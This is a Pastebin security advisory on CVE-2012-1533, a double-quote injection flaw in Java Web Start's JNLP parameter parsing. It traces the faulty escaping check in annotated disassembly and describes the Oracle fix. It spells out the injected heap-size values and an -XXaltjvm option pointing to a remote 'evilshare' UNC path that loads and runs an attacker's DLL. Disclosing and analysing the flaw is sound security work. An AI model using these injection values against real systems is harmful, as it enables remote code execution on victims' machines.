Guest User

Advisory to CVE 2012-1533 by Rh0

a guest
Jun 9th, 2013
886
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. =========================================================
  2. Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
  3. =========================================================
  4.  
  5. Hello all,
  6.  
  7. This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
  8. allows remote code execution in the same way.
  9.  
  10.  
  11. ======================
  12. Vulnerability Overview
  13. ======================
  14.  
  15. There exists an input validation vulnerability in at least Java Web Start 1.6.35
  16. and 1.7.07 when parsing JNLP files.
  17. A flaw exists in the routine which performs checks on the parameter values from
  18. a JNLP file. It allows the injection of non escaped double quotes (") into parameters
  19. of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
  20. JNLP file can contain a double quote which is not properly sanitized when creating
  21. the command line for javaw.exe. This makes it possible to get a command line parameter
  22. with a value consisting only of one double quote injected. Further this allows manipulating
  23. the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
  24.  
  25.  
  26. ======================
  27. Vulnerability Details
  28. ======================
  29.  
  30. Notes:
  31. ------
  32. [*] A JNLP parameter will be refered to by name=value (e.g.: initial-heap-size='64m"' )
  33. [*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
  34. [*] javaws.exe has the base address of 0x00400000 in memory
  35. [*] Arrows (-->) indicate code continuation on next address block
  36. ------
  37.  
  38. Vulnerable program flow:
  39. ------------------------
  40. [*] If a JNLP file is opened by javaws.exe, it is read into memory
  41. and saved temporary in %TEMP%.
  42.  
  43. [*] JNLP parameters are parsed:
  44. [a] Check if a JNLP value begins with a single or a double quote:
  45. (EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
  46. 00404D60 MOV CL,BYTE PTR DS:[EAX] ; CL: 1st char of '64m"' (single quote = 0x27)
  47. 00404D62 CMP CL,22 ; check for double quote
  48. 00404D65 MOV DWORD PTR DS:[4227C4],EAX
  49. 00404D6A JE SHORT javaws.00404D9F ; jmp is not taken
  50. 00404D6C CMP CL,27 ; check for single quote
  51. 00404D6F JE SHORT javaws.00404D9F ; jmp is taken -->
  52. ...
  53.  
  54. [b] strip quotes which enclose the JNLP value and store it:
  55. 00404D9F INC EAX ; points to 2nd char of JNLP value (1st char after single quote)
  56. 00404DA0 MOV DL,CL ; DL: 0x27 (single quote)
  57. 00404DA2 MOV CL,BYTE PTR DS:[EAX] ; CL: 2nd char of JNLP value (0x36)
  58. 00404DA4 MOV DWORD PTR DS:[4227C4],EAX
  59. 00404DA9 MOV ESI,EAX
  60. 00404DAB JMP SHORT javaws.00404DB4 ; start loop
  61. 00404DAD /CMP CL,DL ; compare char of JNLP value to single quote
  62. 00404DAF |JE SHORT javaws.00404DB8 ; loop until another single quote in JNLP value is encountered
  63. 00404DB1 |INC ESI ; increase pointer to chars in JNLP value
  64. 00404DB2 |MOV CL,BYTE PTR DS:[ESI] ; put next char of value into CL
  65. 00404DB4 TEST CL,CL
  66. 00404DB6 \JNZ SHORT javaws.00404DAD
  67. 00404DB8 PUSH EAX
  68. 00404DB9 PUSH 6
  69. 00404DBB MOV EAX,ESI
  70. 00404DBD CALL javaws.00404BF8 ; store stripped JNLP value ( in the example case: 64m" )
  71. ...
  72.  
  73. [*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
  74. (e.g.: for JNLP parameter with name initial-heap-size) :
  75. 00401895 PUSH javaws.00418330 ; ASCII: -Xms%s
  76. 0040189A PUSH EBX
  77. 0040189B PUSH EAX
  78. 0040189C CALL javaws.00406D26 ; construct command line parameter with -Xms%s and 64m"
  79. 004018A1 LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
  80. ...
  81.  
  82. [*] All constructed command line parameters for javaw.exe are sane checked:
  83. 00402B02 CALL javaws.00406911 ; run check routine -->
  84. ...
  85. 00406911 PUSH EBP
  86. 00406912 MOV EBP,ESP
  87. 00406914 PUSH EBX
  88. 00406915 PUSH ESI
  89. 00406916 PUSH EDI
  90. 00406917 MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
  91. 0040691A XOR EBX,EBX
  92. 0040691C CMP DWORD PTR DS:[EDI],EBX
  93. 0040691E MOV ESI,EDI
  94. 00406920 JE SHORT javaws.00406933
  95. 00406922 /PUSH DWORD PTR DS:[ESI] ; push pointer to command line parameter
  96. 00406924 |CALL javaws.00406170 ; run check on command line parameter -->
  97. 00406929 |MOV DWORD PTR DS:[ESI],EAX
  98. 0040692B |ADD ESI,4 ; ESI: pointer to next command line parameter
  99. 0040692E |CMP DWORD PTR DS:[ESI],EBX
  100. 00406930 |POP ECX
  101. 00406931 \JNZ SHORT javaws.00406922 ; loop until end of pointer list
  102. ...
  103. 00406170 PUSH EBX
  104. 00406171 MOV EBX,DWORD PTR SS:[ESP+8] ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
  105. 00406175 TEST EBX,EBX
  106. 00406177 JNZ SHORT javaws.0040617D ; -->
  107. ...
  108. 0040617D MOV EAX,EBX
  109. 0040617F LEA EDX,DWORD PTR DS:[EAX+1] ; EDX: pointer to command line parameter without hyphen ( Xms64m" )
  110. 00406182 /MOV CL,BYTE PTR DS:[EAX]
  111. 00406184 |INC EAX
  112. 00406185 |TEST CL,CL
  113. 00406187 \JNZ SHORT javaws.00406182
  114. 00406189 PUSH ESI ; pointer to pointer of -Xms64m"
  115. 0040618A SUB EAX,EDX ; EAX: length of Xms64m"\x00
  116. 0040618C PUSH javaws.004199B8 ; ASCII \x20\x09 (space and tab)
  117. 00406191 PUSH EBX ; pointer to -Xms64m"
  118. 00406192 MOV ESI,EAX
  119. 00406194 CALL javaws.00409590 ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
  120. 00406199 TEST EAX,EAX ; EAX: 0x0 for -Xms64m"
  121. 0040619B POP ECX
  122. 0040619C POP ECX
  123. 0040619D JNZ SHORT javaws.004061A8 ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
  124. 0040619F PUSH EBX
  125. 004061A0 CALL javaws.004127F4 ; copy of -Xms64m" (~ strdup)
  126. 004061A5 POP ECX
  127. 004061A6 JMP SHORT javaws.00406215 ; jmp over the check routines !! ---------------------> 00406215
  128. 004061A8 CMP ESI,1
  129. 004061AB JLE SHORT javaws.004061B9
  130. 004061AD CMP BYTE PTR DS:[EBX],22
  131. 004061B0 JNZ SHORT javaws.004061B9
  132. 004061B2 CMP BYTE PTR DS:[ESI+EBX-1],22
  133. 004061B7 JE SHORT javaws.0040619F
  134. 004061B9 XOR EAX,EAX
  135. 004061BB TEST ESI,ESI
  136. 004061BD LEA EDX,DWORD PTR DS:[ESI+3]
  137. 004061C0 JLE SHORT javaws.004061D5
  138. 004061C2 /MOV CL,BYTE PTR DS:[EAX+EBX]
  139. 004061C5 |CMP CL,22
  140. 004061C8 |JE SHORT javaws.004061CF
  141. 004061CA |CMP CL,5C
  142. 004061CD |JNZ SHORT javaws.004061D0
  143. 004061CF |INC EDX
  144. 004061D0 |INC EAX
  145. 004061D1 |CMP EAX,ESI
  146. 004061D3 \JL SHORT javaws.004061C2
  147. 004061D5 PUSH EDX
  148. 004061D6 CALL javaws.004089CD
  149. 004061DB TEST EAX,EAX
  150. 004061DD POP ECX
  151. 004061DE JE SHORT javaws.00406215
  152. 004061E0 XOR ECX,ECX
  153. 004061E2 PUSH EDI
  154. 004061E3 INC ECX
  155. 004061E4 XOR EDI,EDI
  156. 004061E6 TEST ESI,ESI
  157. 004061E8 MOV BYTE PTR DS:[EAX],22 ; *** prepend command line parameter with double quote
  158. 004061EB JLE SHORT javaws.0040620B
  159. 004061ED /MOV DL,BYTE PTR DS:[EDI+EBX]
  160. 004061F0 |CMP DL,22 ; *** check for "
  161. 004061F3 |JE SHORT javaws.004061FA
  162. 004061F5 |CMP DL,5C ; *** check for \
  163. 004061F8 |JNZ SHORT javaws.004061FF
  164. 004061FA |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
  165. 004061FE |INC ECX
  166. 004061FF |MOV DL,BYTE PTR DS:[EDI+EBX]
  167. 00406202 |MOV BYTE PTR DS:[EAX+ECX],DL
  168. 00406205 |INC ECX
  169. 00406206 |INC EDI
  170. 00406207 |CMP EDI,ESI
  171. 00406209 \JL SHORT javaws.004061ED
  172. 0040620B ADD ECX,EAX
  173. 0040620D MOV BYTE PTR DS:[ECX],22 ; *** append command line parameter with double quote to enclose it
  174. 00406210 MOV BYTE PTR DS:[ECX+1],0
  175. 00406214 POP EDI
  176. 00406215 POP ESI ; -----------------> we land here
  177. 00406216 POP EBX
  178. 00406217 RETN
  179. ...
  180.  
  181. [*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
  182. the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
  183. inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
  184. the constructed command line parameter (see 0040619D ).
  185.  
  186. [*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
  187. which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
  188.  
  189. [*] The command line for javaw.exe then contains the two parameters after each other, so we get:
  190. javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
  191.  
  192. [*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
  193. works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
  194. be on a webserver) and execute it.
  195.  
  196.  
  197. ===
  198. Fix
  199. ===
  200.  
  201. [*] This vulnerability was fixed by Oracle in Oct. 2012
  202. http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
  203. The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
  204. Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
  205.  
  206. [a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
  207. http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
  208.  
  209. [b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
  210. values gained by sub_405BD5:
  211. http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
  212.  
  213.  
  214. [*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
  215. when it was a 0day:
  216. http://pastebin.com/9RztwVez
  217.  
  218.  
  219.  
  220.  
  221. Cheers,
  222.  
  223. Rh0
RAW Paste Data